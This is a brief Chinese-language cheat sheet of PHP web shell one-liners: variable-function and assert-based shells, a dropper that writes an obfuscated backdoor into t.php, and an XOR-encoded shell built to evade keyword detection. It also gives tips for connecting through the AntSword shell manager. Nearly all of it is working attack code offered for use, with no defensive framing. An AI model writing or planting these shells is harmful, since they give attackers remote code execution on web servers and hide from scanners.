|
常见一句话
[pre]
<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>
[/pre]
eval是一个语言构造器而不是一个函数,不能被可变函数调用
[pre]
<?php
$POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);
?>
[/pre]
AntSword 连接的问题。 php assert 会把传入的字符串的引号进行一次实体编码,导致执行代码失败。这时候只需要把编码器换成 base64 或者 chr 这种没有引号的编码器就可以了
[pre]
<?php
if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){$_=@fopen('t.php', 'a');@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));@\$_(\$_POST[1]);?>");@fclose($_);}
?>
[/pre]
PHP中字符异或后还是字符,我们只需要找到两个字符,他们的异或结果是我们所需要的字母即可
http://127.0.0.1/b.php?0=assert密码为1
[pre]
<?php
@$_++; //得到1
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/"); //得到_GET
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|"); //得到_POST
${$__}[!$_](${$___}[$_]);
?>
[/pre] |
|